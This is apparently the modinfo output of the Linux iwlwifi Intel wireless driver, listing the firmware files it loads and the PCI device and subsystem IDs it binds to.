firmware:       iwlwifi-100-5.ucode
firmware:       iwlwifi-1000-5.ucode
firmware:       iwlwifi-135-6.ucode
firmware:       iwlwifi-105-6.ucode
firmware:       iwlwifi-2030-6.ucode
firmware:       iwlwifi-2000-6.ucode
firmware:       iwlwifi-5150-2.ucode
firmware:       iwlwifi-5000-5.ucode
firmware:       iwlwifi-6000g2b-6.ucode
firmware:       iwlwifi-6000g2a-6.ucode
firmware:       iwlwifi-6050-5.ucode
firmware:       iwlwifi-6000-6.ucode
firmware:       iwlwifi-7265D-29.ucode
firmware:       iwlwifi-7265-17.ucode
firmware:       iwlwifi-3168-29.ucode
firmware:       iwlwifi-3160-17.ucode
firmware:       iwlwifi-7260-17.ucode
firmware:       iwlwifi-8265-36.ucode
firmware:       iwlwifi-8000C-36.ucode
firmware:       iwlwifi-9260-th-b0-jf-b0-46.ucode
firmware:       iwlwifi-9000-pu-b0-jf-b0-46.ucode
firmware:       iwlwifi-cc-a0-77.ucode
firmware:       iwlwifi-sc2-a0-wh-a0-c101.ucode
firmware:       iwlwifi-sc2-a0-fm-c0-c101.ucode
firmware:       iwlwifi-sc-a0-wh-a0-c101.ucode
firmware:       iwlwifi-sc-a0-fm-c0-c101.ucode
firmware:       iwlwifi-sc-a0-fm-b0-c101.ucode
firmware:       iwlwifi-dr-a0-pe-a0-c101.ucode
firmware:       iwlwifi-so-a0-jf-b0-77.ucode
firmware:       iwlwifi-QuZ-a0-jf-b0-77.ucode
firmware:       iwlwifi-Qu-c0-jf-b0-77.ucode
firmware:       iwlwifi-Qu-b0-jf-b0-77.ucode
firmware:       iwlwifi-sc-a0-hr-b0-100.ucode
firmware:       iwlwifi-sc-a0-hr-b0-100.ucode
firmware:       iwlwifi-bz-a0-hr-b0-100.ucode
firmware:       iwlwifi-ma-b0-hr-b0-100.ucode
firmware:       iwlwifi-ma-a0-hr-b0-100.ucode
firmware:       iwlwifi-so-a0-hr-b0-100.ucode
firmware:       iwlwifi-QuZ-a0-hr-b0-100.ucode
firmware:       iwlwifi-Qu-c0-hr-b0-100.ucode
firmware:       iwlwifi-Qu-b0-hr-b0-100.ucode
firmware:       iwlwifi-sc-a0-gf4-a0-100.ucode
firmware:       iwlwifi-sc-a0-gf-a0-100.ucode
firmware:       iwlwifi-bz-a0-gf4-a0-100.ucode
firmware:       iwlwifi-bz-a0-gf-a0-100.ucode
firmware:       iwlwifi-ma-b0-gf4-a0.pnvm
firmware:       iwlwifi-ma-b0-gf4-a0-100.ucode
firmware:       iwlwifi-ma-a0-gf4-a0.pnvm
firmware:       iwlwifi-ma-a0-gf4-a0-100.ucode
firmware:       iwlwifi-ma-b0-gf-a0.pnvm
firmware:       iwlwifi-ma-b0-gf-a0-100.ucode
firmware:       iwlwifi-ma-a0-gf-a0.pnvm
firmware:       iwlwifi-ma-a0-gf-a0-100.ucode
firmware:       iwlwifi-ty-a0-gf-a0.pnvm
firmware:       iwlwifi-ty-a0-gf-a0-100.ucode
firmware:       iwlwifi-so-a0-gf-a0.pnvm
firmware:       iwlwifi-so-a0-gf-a0-100.ucode
firmware:       iwlwifi-gl-c0-fm-c0-cIWL_BZ_UCODE_CORE_MAX.ucode
firmware:       iwlwifi-gl-b0-fm-b0-cIWL_BZ_UCODE_CORE_MAX.ucode
firmware:       iwlwifi-bz-a0-fm4-b0-cIWL_BZ_UCODE_CORE_MAX.ucode
firmware:       iwlwifi-bz-a0-fm-c0-cIWL_BZ_UCODE_CORE_MAX.ucode
firmware:       iwlwifi-bz-a0-fm-b0-cIWL_BZ_UCODE_CORE_MAX.ucode
srcversion:     59CF903C5FF408E1D536C13
alias:          pci:v00008086d0000D240sv*sd*bc*sc*i*
alias:          pci:v00008086d00006E70sv*sd*bc*sc*i*
alias:          pci:v00008086d0000D340sv*sd*bc*sc*i*
alias:          pci:v00008086d0000E340sv*sd*bc*sc*i*
alias:          pci:v00008086d0000E440sv*sd*bc*sc*i*
alias:          pci:v00008086d00004D40sv*sd*bc*sc*i*
alias:          pci:v00008086d00007740sv*sd*bc*sc*i*
alias:          pci:v00008086d0000A840sv*sd00001776bc*sc*i*
alias:          pci:v00008086d0000A840sv*sd00001775bc*sc*i*
alias:          pci:v00008086d0000A840sv*sd00004314bc*sc*i*
alias:          pci:v00008086d0000A840sv*sd00004110bc*sc*i*
alias:          pci:v00008086d0000A840sv*sd000040E0bc*sc*i*
alias:          pci:v00008086d0000A840sv*sd000040C4bc*sc*i*
alias:          pci:v00008086d0000A840sv*sd00004090bc*sc*i*
alias:          pci:v00008086d0000A840sv*sd00001792bc*sc*i*
alias:          pci:v00008086d0000A840sv*sd00001791bc*sc*i*
alias:          pci:v00008086d0000A840sv*sd00001772bc*sc*i*
alias:          pci:v00008086d0000A840sv*sd00001771bc*sc*i*
alias:          pci:v00008086d0000A840sv*sd00001672bc*sc*i*
alias:          pci:v00008086d0000A840sv*sd00001671bc*sc*i*
alias:          pci:v00008086d0000A840sv*sd00000A10bc*sc*i*
alias:          pci:v00008086d0000A840sv*sd00000510bc*sc*i*
alias:          pci:v00008086d0000A840sv*sd00000314bc*sc*i*
alias:          pci:v00008086d0000A840sv*sd00000310bc*sc*i*
alias:          pci:v00008086d0000A840sv*sd0000011Cbc*sc*i*
alias:          pci:v00008086d0000A840sv*sd00000118bc*sc*i*
alias:          pci:v00008086d0000A840sv*sd00000114bc*sc*i*
alias:          pci:v00008086d0000A840sv*sd00000110bc*sc*i*
alias:          pci:v00008086d0000A840sv*sd00000100bc*sc*i*
alias:          pci:v00008086d0000A840sv*sd000000ECbc*sc*i*
alias:          pci:v00008086d0000A840sv*sd000000E8bc*sc*i*
alias:          pci:v00008086d0000A840sv*sd000000E4bc*sc*i*
alias:          pci:v00008086d0000A840sv*sd000000E0bc*sc*i*
alias:          pci:v00008086d0000A840sv*sd000000C4bc*sc*i*
alias:          pci:v00008086d0000A840sv*sd000000C0bc*sc*i*
alias:          pci:v00008086d0000A840sv*sd0000009Cbc*sc*i*
alias:          pci:v00008086d0000A840sv*sd00000098bc*sc*i*
alias:          pci:v00008086d0000A840sv*sd00000094bc*sc*i*
alias:          pci:v00008086d0000A840sv*sd00000090bc*sc*i*
alias:          pci:v00008086d0000A840sv*sd00000000bc*sc*i*
alias:          pci:v00008086d0000272Bsv*sd*bc*sc*i*
alias:          pci:v00008086d00007E40sv*sd*bc*sc*i*
alias:          pci:v00008086d00002729sv*sd*bc*sc*i*
alias:          pci:v00008086d00007F70sv*sd*bc*sc*i*
alias:          pci:v00008086d000054F0sv*sd*bc*sc*i*
alias:          pci:v00008086d000051F1sv*sd*bc*sc*i*
alias:          pci:v00008086d000051F0sv*sd*bc*sc*i*
alias:          pci:v00008086d00007AF0sv*sd*bc*sc*i*
alias:          pci:v00008086d00007A70sv*sd*bc*sc*i*
alias:          pci:v00008086d00002725sv*sd*bc*sc*i*
alias:          pci:v00008086d00002723sv*sd*bc*sc*i*
alias:          pci:v00008086d0000A0F0sv*sd*bc*sc*i*
alias:          pci:v00008086d000043F0sv*sd*bc*sc*i*
alias:          pci:v00008086d00004DF0sv*sd*bc*sc*i*
alias:          pci:v00008086d00003DF0sv*sd*bc*sc*i*
alias:          pci:v00008086d000034F0sv*sd*bc*sc*i*
alias:          pci:v00008086d000006F0sv*sd*bc*sc*i*
alias:          pci:v00008086d000002F0sv*sd*bc*sc*i*
alias:          pci:v00008086d0000A370sv*sd*bc*sc*i*
alias:          pci:v00008086d00009DF0sv*sd*bc*sc*i*
alias:          pci:v00008086d000031DCsv*sd*bc*sc*i*
alias:          pci:v00008086d000030DCsv*sd*bc*sc*i*
alias:          pci:v00008086d0000271Csv*sd*bc*sc*i*
alias:          pci:v00008086d0000271Bsv*sd*bc*sc*i*
alias:          pci:v00008086d00002526sv*sd*bc*sc*i*
alias:          pci:v00008086d000024FDsv*sd00001432bc*sc*i*
alias:          pci:v00008086d000024FDsv*sd00001431bc*sc*i*
alias:          pci:v00008086d000024FDsv*sd00009074bc*sc*i*
alias:          pci:v00008086d000024FDsv*sd00000014bc*sc*i*
alias:          pci:v00008086d000024FDsv*sd00000012bc*sc*i*
alias:          pci:v00008086d000024FDsv*sd00001012bc*sc*i*
alias:          pci:v00008086d000024FDsv*sd00003E01bc*sc*i*
alias:          pci:v00008086d000024FDsv*sd00003E02bc*sc*i*
alias:          pci:v00008086d000024FDsv*sd00001014bc*sc*i*
alias:          pci:v00008086d000024FDsv*sd00000850bc*sc*i*
alias:          pci:v00008086d000024FDsv*sd00000950bc*sc*i*
alias:          pci:v00008086d000024FDsv*sd00000930bc*sc*i*
alias:          pci:v00008086d000024FDsv*sd00000910bc*sc*i*
alias:          pci:v00008086d000024FDsv*sd00008130bc*sc*i*
alias:          pci:v00008086d000024FDsv*sd00009110bc*sc*i*
alias:          pci:v00008086d000024FDsv*sd00000810bc*sc*i*
alias:          pci:v00008086d000024FDsv*sd00008010bc*sc*i*
alias:          pci:v00008086d000024FDsv*sd00008050bc*sc*i*
alias:          pci:v00008086d000024FDsv*sd00008110bc*sc*i*
alias:          pci:v00008086d000024FDsv*sd00009010bc*sc*i*
alias:          pci:v00008086d000024FDsv*sd00000150bc*sc*i*
alias:          pci:v00008086d000024FDsv*sd00000050bc*sc*i*
alias:          pci:v00008086d000024FDsv*sd000010D0bc*sc*i*
alias:          pci:v00008086d000024FDsv*sd00001010bc*sc*i*
alias:          pci:v00008086d000024FDsv*sd00000130bc*sc*i*
alias:          pci:v00008086d000024FDsv*sd00001130bc*sc*i*
alias:          pci:v00008086d000024FDsv*sd00001110bc*sc*i*
alias:          pci:v00008086d000024FDsv*sd00000110bc*sc*i*
alias:          pci:v00008086d000024FDsv*sd00000010bc*sc*i*
alias:          pci:v00008086d000024F3sv*sd0000D030bc*sc*i*
alias:          pci:v00008086d000024F3sv*sd0000C030bc*sc*i*
alias:          pci:v00008086d000024F3sv*sd00004010bc*sc*i*
alias:          pci:v00008086d000024F3sv*sd00000000bc*sc*i*
alias:          pci:v00008086d000024F3sv*sd00000930bc*sc*i*
alias:          pci:v00008086d000024F3sv*sd00000950bc*sc*i*
alias:          pci:v00008086d000024F3sv*sd00000850bc*sc*i*
alias:          pci:v00008086d000024F3sv*sd00000910bc*sc*i*
alias:          pci:v00008086d000024F3sv*sd00000810bc*sc*i*
alias:          pci:v00008086d000024F6sv*sd00000030bc*sc*i*
alias:          pci:v00008086d000024F5sv*sd00000010bc*sc*i*
alias:          pci:v00008086d000024F3sv*sd00000044bc*sc*i*
alias:          pci:v00008086d000024F3sv*sd00000004bc*sc*i*
alias:          pci:v00008086d000024F3sv*sd00009150bc*sc*i*
alias:          pci:v00008086d000024F3sv*sd00009050bc*sc*i*
alias:          pci:v00008086d000024F3sv*sd00008150bc*sc*i*
alias:          pci:v00008086d000024F3sv*sd00008050bc*sc*i*
alias:          pci:v00008086d000024F3sv*sd00009132bc*sc*i*
alias:          pci:v00008086d000024F3sv*sd00008132bc*sc*i*
alias:          pci:v00008086d000024F3sv*sd00009130bc*sc*i*
alias:          pci:v00008086d000024F3sv*sd00008130bc*sc*i*
alias:          pci:v00008086d000024F4sv*sd0000D030bc*sc*i*
alias:          pci:v00008086d000024F4sv*sd0000C030bc*sc*i*
alias:          pci:v00008086d000024F4sv*sd00009030bc*sc*i*
alias:          pci:v00008086d000024F4sv*sd00008030bc*sc*i*
alias:          pci:v00008086d000024F3sv*sd00009110bc*sc*i*
alias:          pci:v00008086d000024F3sv*sd00009010bc*sc*i*
alias:          pci:v00008086d000024F3sv*sd00008110bc*sc*i*
alias:          pci:v00008086d000024F3sv*sd00008010bc*sc*i*
alias:          pci:v00008086d000024F3sv*sd0000B0B0bc*sc*i*
alias:          pci:v00008086d000024F3sv*sd0000D0B0bc*sc*i*
alias:          pci:v00008086d000024F3sv*sd0000D050bc*sc*i*
alias:          pci:v00008086d000024F3sv*sd0000C050bc*sc*i*
alias:          pci:v00008086d000024F3sv*sd0000D010bc*sc*i*
alias:          pci:v00008086d000024F3sv*sd0000C110bc*sc*i*
alias:          pci:v00008086d000024F3sv*sd0000C010bc*sc*i*
alias:          pci:v00008086d000024F4sv*sd00001030bc*sc*i*
alias:          pci:v00008086d000024F4sv*sd00000030bc*sc*i*
alias:          pci:v00008086d000024F3sv*sd00001150bc*sc*i*
alias:          pci:v00008086d000024F3sv*sd00000150bc*sc*i*
alias:          pci:v00008086d000024F3sv*sd00001050bc*sc*i*
alias:          pci:v00008086d000024F3sv*sd00000250bc*sc*i*
alias:          pci:v00008086d000024F3sv*sd00000050bc*sc*i*
alias:          pci:v00008086d000024F3sv*sd00001110bc*sc*i*
alias:          pci:v00008086d000024F3sv*sd00001012bc*sc*i*
alias:          pci:v00008086d000024F3sv*sd00000012bc*sc*i*
alias:          pci:v00008086d000024F3sv*sd000001F0bc*sc*i*
alias:          pci:v00008086d000024F3sv*sd00000110bc*sc*i*
alias:          pci:v00008086d000024F3sv*sd00001132bc*sc*i*
alias:          pci:v00008086d000024F3sv*sd00000132bc*sc*i*
alias:          pci:v00008086d000024F3sv*sd00001130bc*sc*i*
alias:          pci:v00008086d000024F3sv*sd00000130bc*sc*i*
alias:          pci:v00008086d000024F3sv*sd000010B0bc*sc*i*
alias:          pci:v00008086d000024F3sv*sd00001010bc*sc*i*
alias:          pci:v00008086d000024F3sv*sd00000010bc*sc*i*
alias:          pci:v00008086d0000095Asv*sd00009E10bc*sc*i*
alias:          pci:v00008086d0000095Asv*sd00009400bc*sc*i*
alias:          pci:v00008086d0000095Asv*sd00009000bc*sc*i*
alias:          pci:v00008086d0000095Bsv*sd0000520Abc*sc*i*
alias:          pci:v00008086d0000095Bsv*sd00005212bc*sc*i*
alias:          pci:v00008086d0000095Asv*sd00005F10bc*sc*i*
alias:          pci:v00008086d0000095Asv*sd00005490bc*sc*i*
alias:          pci:v00008086d0000095Bsv*sd00005290bc*sc*i*
alias:          pci:v00008086d0000095Asv*sd00005590bc*sc*i*
alias:          pci:v00008086d0000095Asv*sd00005190bc*sc*i*
alias:          pci:v00008086d0000095Asv*sd00005090bc*sc*i*
alias:          pci:v00008086d0000095Asv*sd00005420bc*sc*i*
alias:          pci:v00008086d0000095Asv*sd0000502Abc*sc*i*
alias:          pci:v00008086d0000095Asv*sd00005020bc*sc*i*
alias:          pci:v00008086d0000095Asv*sd00009410bc*sc*i*
alias:          pci:v00008086d0000095Bsv*sd00009310bc*sc*i*
alias:          pci:v00008086d0000095Asv*sd00009510bc*sc*i*
alias:          pci:v00008086d0000095Bsv*sd00009200bc*sc*i*
alias:          pci:v00008086d0000095Bsv*sd00009210bc*sc*i*
alias:          pci:v00008086d0000095Asv*sd00009112bc*sc*i*
alias:          pci:v00008086d0000095Asv*sd00009110bc*sc*i*
alias:          pci:v00008086d0000095Asv*sd0000900Abc*sc*i*
alias:          pci:v00008086d0000095Asv*sd00009012bc*sc*i*
alias:          pci:v00008086d0000095Asv*sd00009010bc*sc*i*
alias:          pci:v00008086d0000095Bsv*sd00005202bc*sc*i*
alias:          pci:v00008086d0000095Asv*sd00005102bc*sc*i*
alias:          pci:v00008086d0000095Asv*sd00005002bc*sc*i*
alias:          pci:v00008086d0000095Bsv*sd00005200bc*sc*i*
alias:          pci:v00008086d0000095Asv*sd0000500Abc*sc*i*
alias:          pci:v00008086d0000095Asv*sd00005000bc*sc*i*
alias:          pci:v00008086d0000095Asv*sd00001010bc*sc*i*
alias:          pci:v00008086d0000095Asv*sd00005400bc*sc*i*
alias:          pci:v00008086d0000095Asv*sd00005510bc*sc*i*
alias:          pci:v00008086d0000095Asv*sd00005410bc*sc*i*
alias:          pci:v00008086d0000095Asv*sd00005412bc*sc*i*
alias:          pci:v00008086d0000095Asv*sd00005012bc*sc*i*
alias:          pci:v00008086d0000095Asv*sd00005C10bc*sc*i*
alias:          pci:v00008086d0000095Bsv*sd00005210bc*sc*i*
alias:          pci:v00008086d0000095Bsv*sd00005302bc*sc*i*
alias:          pci:v00008086d0000095Bsv*sd00005310bc*sc*i*
alias:          pci:v00008086d0000095Asv*sd00005100bc*sc*i*
alias:          pci:v00008086d0000095Asv*sd00005110bc*sc*i*
alias:          pci:v00008086d0000095Asv*sd00005010bc*sc*i*
alias:          pci:v00008086d000024FBsv*sd00000000bc*sc*i*
alias:          pci:v00008086d000024FBsv*sd00002150bc*sc*i*
alias:          pci:v00008086d000024FBsv*sd00002050bc*sc*i*
alias:          pci:v00008086d000024FBsv*sd00002110bc*sc*i*
alias:          pci:v00008086d000024FBsv*sd00002010bc*sc*i*
alias:          pci:v00008086d00003165sv*sd00008110bc*sc*i*
alias:          pci:v00008086d00003165sv*sd00008010bc*sc*i*
alias:          pci:v00008086d00003166sv*sd00004210bc*sc*i*
alias:          pci:v00008086d00003166sv*sd00004310bc*sc*i*
alias:          pci:v00008086d00003165sv*sd00004110bc*sc*i*
alias:          pci:v00008086d00003165sv*sd00004510bc*sc*i*
alias:          pci:v00008086d00003165sv*sd00004410bc*sc*i*
alias:          pci:v00008086d00003166sv*sd00004212bc*sc*i*
alias:          pci:v00008086d00003165sv*sd00004012bc*sc*i*
alias:          pci:v00008086d00003165sv*sd00004010bc*sc*i*
alias:          pci:v00008086d000008B3sv*sd00001170bc*sc*i*
alias:          pci:v00008086d000008B3sv*sd00001070bc*sc*i*
alias:          pci:v00008086d000008B3sv*sd00008570bc*sc*i*
alias:          pci:v00008086d000008B3sv*sd00008470bc*sc*i*
alias:          pci:v00008086d000008B4sv*sd00008272bc*sc*i*
alias:          pci:v00008086d000008B4sv*sd00008370bc*sc*i*
alias:          pci:v00008086d000008B4sv*sd00008270bc*sc*i*
alias:          pci:v00008086d000008B3sv*sd00008062bc*sc*i*
alias:          pci:v00008086d000008B3sv*sd00008060bc*sc*i*
alias:          pci:v00008086d000008B3sv*sd00008172bc*sc*i*
alias:          pci:v00008086d000008B3sv*sd00008170bc*sc*i*
alias:          pci:v00008086d000008B3sv*sd00008072bc*sc*i*
alias:          pci:v00008086d000008B3sv*sd00008070bc*sc*i*
alias:          pci:v00008086d000008B4sv*sd00000370bc*sc*i*
alias:          pci:v00008086d000008B3sv*sd00000472bc*sc*i*
alias:          pci:v00008086d000008B3sv*sd00000470bc*sc*i*
alias:          pci:v00008086d000008B4sv*sd00000272bc*sc*i*
alias:          pci:v00008086d000008B4sv*sd00000270bc*sc*i*
alias:          pci:v00008086d000008B3sv*sd00000062bc*sc*i*
alias:          pci:v00008086d000008B3sv*sd00000060bc*sc*i*
alias:          pci:v00008086d000008B3sv*sd00000172bc*sc*i*
alias:          pci:v00008086d000008B3sv*sd00000170bc*sc*i*
alias:          pci:v00008086d000008B3sv*sd00000072bc*sc*i*
alias:          pci:v00008086d000008B3sv*sd00000070bc*sc*i*
alias:          pci:v00008086d000008B1sv*sd0000C420bc*sc*i*
alias:          pci:v00008086d000008B2sv*sd0000C220bc*sc*i*
alias:          pci:v00008086d000008B1sv*sd0000C02Abc*sc*i*
alias:          pci:v00008086d000008B1sv*sd0000C020bc*sc*i*
alias:          pci:v00008086d000008B1sv*sd0000C360bc*sc*i*
alias:          pci:v00008086d000008B2sv*sd0000C370bc*sc*i*
alias:          pci:v00008086d000008B1sv*sd0000C560bc*sc*i*
alias:          pci:v00008086d000008B1sv*sd0000C570bc*sc*i*
alias:          pci:v00008086d000008B1sv*sd0000C462bc*sc*i*
alias:          pci:v00008086d000008B1sv*sd0000C460bc*sc*i*
alias:          pci:v00008086d000008B1sv*sd0000C472bc*sc*i*
alias:          pci:v00008086d000008B1sv*sd0000C470bc*sc*i*
alias:          pci:v00008086d000008B2sv*sd0000C262bc*sc*i*
alias:          pci:v00008086d000008B2sv*sd0000C26Abc*sc*i*
alias:          pci:v00008086d000008B2sv*sd0000C260bc*sc*i*
alias:          pci:v00008086d000008B2sv*sd0000C272bc*sc*i*
alias:          pci:v00008086d000008B1sv*sd0000CC60bc*sc*i*
alias:          pci:v00008086d000008B1sv*sd0000CC70bc*sc*i*
alias:          pci:v00008086d000008B2sv*sd0000C270bc*sc*i*
alias:          pci:v00008086d000008B1sv*sd0000C760bc*sc*i*
alias:          pci:v00008086d000008B1sv*sd0000C770bc*sc*i*
alias:          pci:v00008086d000008B1sv*sd0000C162bc*sc*i*
alias:          pci:v00008086d000008B1sv*sd0000C062bc*sc*i*
alias:          pci:v00008086d000008B1sv*sd0000C160bc*sc*i*
alias:          pci:v00008086d000008B1sv*sd0000C06Abc*sc*i*
alias:          pci:v00008086d000008B1sv*sd0000C060bc*sc*i*
alias:          pci:v00008086d000008B1sv*sd0000C170bc*sc*i*
alias:          pci:v00008086d000008B1sv*sd0000C072bc*sc*i*
alias:          pci:v00008086d000008B1sv*sd0000C070bc*sc*i*
alias:          pci:v00008086d000008B1sv*sd00004420bc*sc*i*
alias:          pci:v00008086d000008B2sv*sd00004220bc*sc*i*
alias:          pci:v00008086d000008B1sv*sd0000402Abc*sc*i*
alias:          pci:v00008086d000008B1sv*sd00004020bc*sc*i*
alias:          pci:v00008086d000008B1sv*sd00005770bc*sc*i*
alias:          pci:v00008086d000008B1sv*sd00005170bc*sc*i*
alias:          pci:v00008086d000008B1sv*sd00005072bc*sc*i*
alias:          pci:v00008086d000008B1sv*sd00005070bc*sc*i*
alias:          pci:v00008086d000008B2sv*sd00004360bc*sc*i*
alias:          pci:v00008086d000008B2sv*sd00004370bc*sc*i*
alias:          pci:v00008086d000008B1sv*sd00004560bc*sc*i*
alias:          pci:v00008086d000008B1sv*sd00004570bc*sc*i*
alias:          pci:v00008086d000008B1sv*sd00004A6Cbc*sc*i*
alias:          pci:v00008086d000008B1sv*sd00004A6Ebc*sc*i*
alias:          pci:v00008086d000008B1sv*sd00004A70bc*sc*i*
alias:          pci:v00008086d000008B1sv*sd0000486Ebc*sc*i*
alias:          pci:v00008086d000008B1sv*sd00004870bc*sc*i*
alias:          pci:v00008086d000008B1sv*sd00004462bc*sc*i*
alias:          pci:v00008086d000008B1sv*sd0000446Abc*sc*i*
alias:          pci:v00008086d000008B1sv*sd00004460bc*sc*i*
alias:          pci:v00008086d000008B1sv*sd00004472bc*sc*i*
alias:          pci:v00008086d000008B1sv*sd00004470bc*sc*i*
alias:          pci:v00008086d000008B2sv*sd00004262bc*sc*i*
alias:          pci:v00008086d000008B2sv*sd0000426Abc*sc*i*
alias:          pci:v00008086d000008B2sv*sd00004260bc*sc*i*
alias:          pci:v00008086d000008B2sv*sd00004272bc*sc*i*
alias:          pci:v00008086d000008B2sv*sd00004270bc*sc*i*
alias:          pci:v00008086d000008B1sv*sd00004162bc*sc*i*
alias:          pci:v00008086d000008B1sv*sd00004062bc*sc*i*
alias:          pci:v00008086d000008B1sv*sd00004160bc*sc*i*
alias:          pci:v00008086d000008B1sv*sd0000406Abc*sc*i*
alias:          pci:v00008086d000008B1sv*sd00004060bc*sc*i*
alias:          pci:v00008086d000008B1sv*sd00004C70bc*sc*i*
alias:          pci:v00008086d000008B1sv*sd00004C60bc*sc*i*
alias:          pci:v00008086d000008B1sv*sd00004170bc*sc*i*
alias:          pci:v00008086d000008B1sv*sd00004072bc*sc*i*
alias:          pci:v00008086d000008B1sv*sd00004070bc*sc*i*
alias:          pci:v00008086d00000892sv*sd00000462bc*sc*i*
alias:          pci:v00008086d00000893sv*sd00000262bc*sc*i*
alias:          pci:v00008086d00000892sv*sd00000062bc*sc*i*
alias:          pci:v00008086d00000894sv*sd00000822bc*sc*i*
alias:          pci:v00008086d00000894sv*sd00000422bc*sc*i*
alias:          pci:v00008086d00000895sv*sd00000222bc*sc*i*
alias:          pci:v00008086d00000894sv*sd00000022bc*sc*i*
alias:          pci:v00008086d0000088Fsv*sd00005260bc*sc*i*
alias:          pci:v00008086d0000088Esv*sd00004860bc*sc*i*
alias:          pci:v00008086d0000088Esv*sd0000446Abc*sc*i*
alias:          pci:v00008086d0000088Esv*sd00004460bc*sc*i*
alias:          pci:v00008086d0000088Fsv*sd0000426Abc*sc*i*
alias:          pci:v00008086d0000088Fsv*sd00004260bc*sc*i*
alias:          pci:v00008086d0000088Esv*sd0000406Abc*sc*i*
alias:          pci:v00008086d0000088Esv*sd00004060bc*sc*i*
alias:          pci:v00008086d00000887sv*sd00004462bc*sc*i*
alias:          pci:v00008086d00000888sv*sd00004262bc*sc*i*
alias:          pci:v00008086d00000887sv*sd00004062bc*sc*i*
alias:          pci:v00008086d00000890sv*sd00004822bc*sc*i*
alias:          pci:v00008086d00000890sv*sd00004422bc*sc*i*
alias:          pci:v00008086d00000891sv*sd00004222bc*sc*i*
alias:          pci:v00008086d00000890sv*sd00004022bc*sc*i*
alias:          pci:v00008086d00000896sv*sd00005027bc*sc*i*
alias:          pci:v00008086d00000896sv*sd00005025bc*sc*i*
alias:          pci:v00008086d00000897sv*sd00005017bc*sc*i*
alias:          pci:v00008086d00000897sv*sd00005015bc*sc*i*
alias:          pci:v00008086d00000896sv*sd00005007bc*sc*i*
alias:          pci:v00008086d00000896sv*sd00005005bc*sc*i*
alias:          pci:v00008086d000008AEsv*sd00001027bc*sc*i*
alias:          pci:v00008086d000008AEsv*sd00001025bc*sc*i*
alias:          pci:v00008086d000008AFsv*sd00001017bc*sc*i*
alias:          pci:v00008086d000008AFsv*sd00001015bc*sc*i*
alias:          pci:v00008086d000008AEsv*sd00001007bc*sc*i*
alias:          pci:v00008086d000008AEsv*sd00001005bc*sc*i*
alias:          pci:v00008086d00000084sv*sd00001316bc*sc*i*
alias:          pci:v00008086d00000084sv*sd00001216bc*sc*i*
alias:          pci:v00008086d00000083sv*sd00001326bc*sc*i*
alias:          pci:v00008086d00000083sv*sd00001226bc*sc*i*
alias:          pci:v00008086d00000083sv*sd00001306bc*sc*i*
alias:          pci:v00008086d00000083sv*sd00001206bc*sc*i*
alias:          pci:v00008086d00000084sv*sd00001315bc*sc*i*
alias:          pci:v00008086d00000084sv*sd00001215bc*sc*i*
alias:          pci:v00008086d00000083sv*sd00001325bc*sc*i*
alias:          pci:v00008086d00000083sv*sd00001225bc*sc*i*
alias:          pci:v00008086d00000083sv*sd00001305bc*sc*i*
alias:          pci:v00008086d00000083sv*sd00001205bc*sc*i*
alias:          pci:v00008086d00000886sv*sd00001317bc*sc*i*
alias:          pci:v00008086d00000886sv*sd00001315bc*sc*i*
alias:          pci:v00008086d00000885sv*sd00001327bc*sc*i*
alias:          pci:v00008086d00000885sv*sd00001325bc*sc*i*
alias:          pci:v00008086d00000885sv*sd00001307bc*sc*i*
alias:          pci:v00008086d00000885sv*sd00001305bc*sc*i*
alias:          pci:v00008086d00000089sv*sd00001316bc*sc*i*
alias:          pci:v00008086d00000089sv*sd00001311bc*sc*i*
alias:          pci:v00008086d00000087sv*sd00001326bc*sc*i*
alias:          pci:v00008086d00000087sv*sd00001321bc*sc*i*
alias:          pci:v00008086d00000087sv*sd00001306bc*sc*i*
alias:          pci:v00008086d00000087sv*sd00001301bc*sc*i*
alias:          pci:v00008086d00000091sv*sd00005226bc*sc*i*
alias:          pci:v00008086d00000091sv*sd00005225bc*sc*i*
alias:          pci:v00008086d00000091sv*sd00005221bc*sc*i*
alias:          pci:v00008086d00000091sv*sd00005207bc*sc*i*
alias:          pci:v00008086d00000091sv*sd00005206bc*sc*i*
alias:          pci:v00008086d00000091sv*sd00005205bc*sc*i*
alias:          pci:v00008086d00000091sv*sd00005201bc*sc*i*
alias:          pci:v00008086d00000090sv*sd00005216bc*sc*i*
alias:          pci:v00008086d00000090sv*sd00005215bc*sc*i*
alias:          pci:v00008086d00000090sv*sd00005211bc*sc*i*
alias:          pci:v00008086d0000008Bsv*sd00005317bc*sc*i*
alias:          pci:v00008086d0000008Bsv*sd00005315bc*sc*i*
alias:          pci:v00008086d0000008Asv*sd00005327bc*sc*i*
alias:          pci:v00008086d0000008Asv*sd00005325bc*sc*i*
alias:          pci:v00008086d0000008Asv*sd00005307bc*sc*i*
alias:          pci:v00008086d0000008Asv*sd00005305bc*sc*i*
alias:          pci:v00008086d00000082sv*sd00001305bc*sc*i*
alias:          pci:v00008086d00000082sv*sd00001304bc*sc*i*
alias:          pci:v00008086d00000082sv*sd00004820bc*sc*i*
alias:          pci:v00008086d00000085sv*sd0000C228bc*sc*i*
alias:          pci:v00008086d00000085sv*sd0000C220bc*sc*i*
alias:          pci:v00008086d00000082sv*sd0000C020bc*sc*i*
alias:          pci:v00008086d00000085sv*sd00001316bc*sc*i*
alias:          pci:v00008086d00000085sv*sd00001318bc*sc*i*
alias:          pci:v00008086d00000085sv*sd00001311bc*sc*i*
alias:          pci:v00008086d00000082sv*sd00001328bc*sc*i*
alias:          pci:v00008086d00000082sv*sd00001326bc*sc*i*
alias:          pci:v00008086d00000082sv*sd00001321bc*sc*i*
alias:          pci:v00008086d00000082sv*sd00001308bc*sc*i*
alias:          pci:v00008086d00000082sv*sd00001307bc*sc*i*
alias:          pci:v00008086d00000082sv*sd00001306bc*sc*i*
alias:          pci:v00008086d00000082sv*sd00001301bc*sc*i*
alias:          pci:v00008086d00004239sv*sd00001316bc*sc*i*
alias:          pci:v00008086d00004239sv*sd00001311bc*sc*i*
alias:          pci:v00008086d00004238sv*sd00001118bc*sc*i*
alias:          pci:v00008086d00004238sv*sd00001111bc*sc*i*
alias:          pci:v00008086d0000422Csv*sd00001326bc*sc*i*
alias:          pci:v00008086d0000422Csv*sd00001321bc*sc*i*
alias:          pci:v00008086d0000422Csv*sd00001307bc*sc*i*
alias:          pci:v00008086d0000422Csv*sd00001306bc*sc*i*
alias:          pci:v00008086d0000422Csv*sd00001301bc*sc*i*
alias:          pci:v00008086d0000422Bsv*sd00001128bc*sc*i*
alias:          pci:v00008086d0000422Bsv*sd00001121bc*sc*i*
alias:          pci:v00008086d0000422Bsv*sd00001108bc*sc*i*
alias:          pci:v00008086d0000422Bsv*sd00001101bc*sc*i*
